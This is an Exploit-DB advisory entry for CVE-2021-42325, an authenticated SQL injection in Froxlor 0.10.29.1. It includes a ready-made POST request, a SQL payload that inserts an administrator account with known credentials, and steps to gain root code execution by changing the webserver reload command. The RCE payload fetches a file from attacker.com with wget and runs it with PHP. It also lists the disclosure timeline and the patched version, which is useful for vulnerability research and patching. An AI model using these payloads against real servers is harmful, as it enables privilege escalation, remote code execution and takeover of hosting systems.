Froxlor 0.10.29.1 – SQL Injection (Authenticated)

  • 作者: Martin Cernac
    日期: 2021-11-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50502/
  • # Exploit Title: Froxlor 0.10.29.1 - SQL Injection (Authenticated)
    # Exploit Author: Martin Cernac
    # Date: 2021-11-05
    # Vendor: Froxlor (https://froxlor.org/)
    # Software Link: https://froxlor.org/download.php
    # Affected Version: 0.10.28, 0.10.29, 0.10.29.1
    # Patched Version: 0.10.30
    # Category: Web Application
    # Tested on: Ubuntu
    # CVE: 2021-42325
    
    # 1. Technical Description:
    #
    # Froxlor 0.10.28 and 0.10.29.x are affected by an SQL Injection from the authenticated customer panel. This allows an attacker to escalate privilege by creating a Froxlor administrator account and use it to get Remote Code Execution as root on the target machine.
    #
    # 1.1 Pre-requisites
    #- Access to a customer account
    #- Ability to specify database name when creating a database
    #- Feature only availible from 0.10.28 onward and must be manually enabled
    
    
    # 2. Proof Of Concept (PoC):
    #
    # The following is a walkthrough of privilege escalation from a mere customer to an admin and achieving RCE as root
    #
    # 2.1 Privilege Escalation
    #
    # - Sign into Froxlor as a customer
    # - View your databases
    # - Create a database
    # - Put your payload into the "User/Database name" field (if enabled)
    # - Application will error out however your SQL query will be executed
    #
    # The following is a POST request example of running the payload provided, resulting in an administrator account being created
    ---
    POST /froxlor/customer_mysql.php?s=fdbdf63173d0b332ce13a148476499b2 HTTP/1.1
    Host: localhost
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 448
    
    s=fdbdf63173d0b332ce13a148476499b2&page=mysqls&action=add&send=send&custom_suffix=%60%3Binsert+into+panel_admins+%28loginname%2Cpassword%2Ccustomers_see_all%2Cdomains_see_all%2Ccaneditphpsettings%2Cchange_serversettings%29+values+%28%27x%27%2C%27%245%24ccd0bcdd9ab970b1%24Hx%2Fa0W8QHwTisNoa1lYCY4s3goJeh.YCQ3hWqH1ZUr8%27%2C1%2C1%2C1%2C1%29%3B--&description=x&mysql_password=asdasdasdasdasdasdwire&mysql_password_suggestion=oyxtjaihgb&sendinfomail=0
    ---
    #
    # 2.2 Remote Code Execution
    #
    # To achieve RCE as root:
    #
    # - Sign into Froxlor as the newly created admin account (payload example creds are x:a)
    # - Go to System Settings
    # - Go to Webserver settings
    # - Adjust "Webserver reload command" field to a custom command
    # - The command must not contain any of the following special characters: ;|&><`$~?
    # - For details, see "safe_exec" function in lib/Froxlor/FileDir.php
    # - For example commands see Payloads 4.2 section
    # - Trigger configuration file rebuild
    # - Use menu item "Rebuild config files"
    # - Await a root cron job to execute your command
    
    
    # 3. Vulnerable resources and parameters
    # /customer_mysql.php (POST field: custom_suffix)
    
    
    # 4. Payloads
    #
    # 4.1 SQL Injection payload
    #The following payload creates a new Froxlor admin with full access to all customers and the server configuration
    #The credentials are:
    # - username: x
    # - password: a
    #
    # `;insert into panel_admins (loginname,password,customers_see_all,domains_see_all,caneditphpsettings,change_serversettings) values ('x','$5$ccd0bcdd9ab970b1$Hx/a0W8QHwTisNoa1lYCY4s3goJeh.YCQ3hWqH1ZUr8',1,1,1,1);--
    #
    #
    # 4.2 Remote Code Execution payload
    #Two part payload:
    #- wget http://attacker.com/malicious.txt -O /runme.php
    #- php /runme.php
    
    
    # 5. Timeline
    # 2021-10-11 Discovery
    # 2021-10-11 Contact with developer
    # 2021-10-11 Patch issued but no release rolled out
    # 2021-10-12 Reserved CVE-2021-42325
    # 2021-11-05 Fix release rolled out
    # 2021-11-07 Public disclosure
    
    
    # 6. References:
    # https://github.com/Froxlor/Froxlor/releases/tag/0.10.30